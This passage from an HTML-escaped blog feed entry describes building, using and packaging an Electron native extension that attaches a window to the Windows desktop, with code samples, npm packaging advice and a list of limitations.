punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token property&#34;&gt;&#34;install&#34;&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token string&#34;&gt;&#34;node-gyp configure rebuild&#34;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Installation compiles C++ source on the target machine. The extension calls Windows APIs directly, so the build and usage notes here assume Windows. The &lt;a href=&#34;https://github.com/nodejs/node-gyp#on-windows&#34;&gt;node-gyp setup instructions&lt;/a&gt; list Python and the Visual C++ build tools as prerequisites.&lt;/p&gt;
&lt;p&gt;For native Electron modules the target Electron version and architecture matter too. If the build or binary is incompatible, the &lt;a href=&#34;https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules&#34;&gt;Electron native module guide&lt;/a&gt; explains how to rebuild against the project’s Electron environment with  &lt;code&gt;@electron/rebuild&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;在-electron-中调用&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;using-it-in-electron&#34; data-section=&#34;在-electron-中调用&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#using-it-in-electron&#34;&gt;#&lt;/a&gt; Using it in Electron&lt;/h3&gt;
&lt;p&gt;Install the package in the Electron project:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;npm&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;install&lt;/span&gt; electron-addtodesktop&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Here’s a minimal example. Wait for Electron to be ready and create the window before passing it to  &lt;code&gt;attach&lt;/code&gt; :&lt;/p&gt;
&lt;figure class=&#34;highlight javascript&#34;&gt;&lt;figcaption data-lang=&#34;javascript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt; app&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; BrowserWindow &lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;require&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;electron&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt; attach&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; detach &lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;require&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;electron-addtodesktop&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;let&lt;/span&gt; win&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;app&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;whenReady&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;then&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;=&gt;&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;7&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    win &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;token class-name&#34;&gt;BrowserWindow&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;8&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;        &lt;span class=&#34;token literal-property property&#34;&gt;width&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token number&#34;&gt;350&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;9&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;        &lt;span class=&#34;token literal-property property&#34;&gt;height&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token number&#34;&gt;200&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;10&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;        &lt;span class=&#34;token literal-property property&#34;&gt;frame&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token boolean&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;11&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;        &lt;span class=&#34;token literal-property property&#34;&gt;transparent&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token boolean&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;12&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;        &lt;span class=&#34;token literal-property property&#34;&gt;skipTaskbar&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;token boolean&#34;&gt;true&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;13&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;14&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;15&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    win&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;loadFile&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;token string&#34;&gt;&#34;index.html&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;16&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;    &lt;span class=&#34;token function&#34;&gt;attach&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;win&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;17&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Replace  &lt;code&gt;index.html&lt;/code&gt;  with your own page. Electron handles the frame, transparent background and taskbar entry. The extension handles attachment.&lt;/p&gt;
&lt;p&gt;To detach, call the following while the window is still valid:&lt;/p&gt;
&lt;figure class=&#34;highlight javascript&#34;&gt;&lt;figcaption data-lang=&#34;javascript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;detach&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;win&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;span id=&#34;npm-扩展编写要点&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;packaging-the-npm-extension&#34; data-section=&#34;npm-扩展编写要点&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#packaging-the-npm-extension&#34;&gt;#&lt;/a&gt; Packaging the npm extension&lt;/h2&gt;
&lt;p&gt;Other projects need to be able to install and call the package outside its development repository.&lt;/p&gt;
&lt;span id=&#34;入口和接口保持简单&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;keep-the-entry-point-and-api-small&#34; data-section=&#34;入口和接口保持简单&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#keep-the-entry-point-and-api-small&#34;&gt;#&lt;/a&gt; Keep the entry point and API small&lt;/h3&gt;
&lt;p&gt;The  &lt;code&gt;main&lt;/code&gt;  field in  &lt;code&gt;package.json&lt;/code&gt;  points to  &lt;code&gt;index.js&lt;/code&gt; . That file loads the native module and exports  &lt;code&gt;attach&lt;/code&gt;  and  &lt;code&gt;detach&lt;/code&gt; . Callers supply an Electron window without having to locate a native binary or handle a  &lt;code&gt;Buffer&lt;/code&gt;  or  &lt;code&gt;HWND&lt;/code&gt;  themselves.&lt;/p&gt;
&lt;p&gt;Validate arguments at the boundary. The JavaScript code checks for  &lt;code&gt;undefined&lt;/code&gt;  and the presence of  &lt;code&gt;getNativeWindowHandle&lt;/code&gt; . It doesn’t cover every case:  &lt;code&gt;null&lt;/code&gt; , destroyed windows and invalid arguments passed directly to the native interface all need attention.&lt;/p&gt;
&lt;p&gt;The current C++ implementation returns  &lt;code&gt;true&lt;/code&gt;  after calling  &lt;code&gt;SetParent&lt;/code&gt; . If I maintain it further, I’d add those checks and report Windows API failures explicitly.&lt;/p&gt;
&lt;span id=&#34;区分使用依赖和开发依赖&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;separate-install-and-development-dependencies&#34; data-section=&#34;区分使用依赖和开发依赖&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#separate-install-and-development-dependencies&#34;&gt;#&lt;/a&gt; Separate install and development dependencies&lt;/h3&gt;
&lt;p&gt;The repository lists  &lt;code&gt;bindings&lt;/code&gt;  and  &lt;code&gt;node-addon-api&lt;/code&gt;  under  &lt;code&gt;dependencies&lt;/code&gt; , and Electron under  &lt;code&gt;devDependencies&lt;/code&gt; . The first two are needed to load and compile the native module respectively. Electron runs the development example; consumers supply it through their own applications. A dependency used only during installation can still be required by the end user.&lt;/p&gt;
&lt;span id=&#34;检查实际发布的文件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;check-what-ships&#34; data-section=&#34;检查实际发布的文件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#check-what-ships&#34;&gt;#&lt;/a&gt; Check what ships&lt;/h3&gt;
&lt;p&gt;Because installation compiles the extension, the package needs  &lt;code&gt;index.js&lt;/code&gt; ,  &lt;code&gt;binding.gyp&lt;/code&gt; , the C++ source and any other required build files.&lt;/p&gt;
&lt;p&gt;Use &lt;a href=&#34;https://docs.npmjs.com/cli/v11/commands/npm-pack/&#34;&gt; &lt;code&gt;npm pack --dry-run&lt;/code&gt; &lt;/a&gt; to inspect the package contents:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;npm&lt;/span&gt; pack --dry-run&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Then run  &lt;code&gt;npm pack&lt;/code&gt;  and install the tarball in a separate minimal Electron project with  &lt;code&gt;npm install path/to/package.tgz&lt;/code&gt; . That catches missing files that are present in your checkout and helps keep temporary files and local build products out of the package.&lt;/p&gt;
&lt;p&gt;To restrict the contents, use the &lt;a href=&#34;https://docs.npmjs.com/cli/v11/configuring-npm/package-json/#files&#34;&gt; &lt;code&gt;files&lt;/code&gt;  field&lt;/a&gt; to list the entry point,  &lt;code&gt;binding.gyp&lt;/code&gt;  and source directories. Include the README and licence as well.&lt;/p&gt;
&lt;span id=&#34;使用限制&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;limitations&#34; data-section=&#34;使用限制&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#limitations&#34;&gt;#&lt;/a&gt; Limitations&lt;/h2&gt;
&lt;p&gt;The extension uses Windows APIs and doesn’t support macOS or Linux. Attachment depends on the Windows shell’s window hierarchy, so behaviour on one version doesn’t establish how every release will behave.&lt;/p&gt;
&lt;p&gt;The extension also leaves lifecycle management to the application, including reattachment after a shell restart and recovery from a failed attachment.&lt;/p&gt;
&lt;p&gt;Before using it in an actual application, I’d check desktop icons, mouse interaction and window switching on the target system before deciding whether to keep this approach.&lt;/p&gt;
</content>
        <updated>2024-05-19T11:30:03.000Z</updated>
    </entry>
</feed>
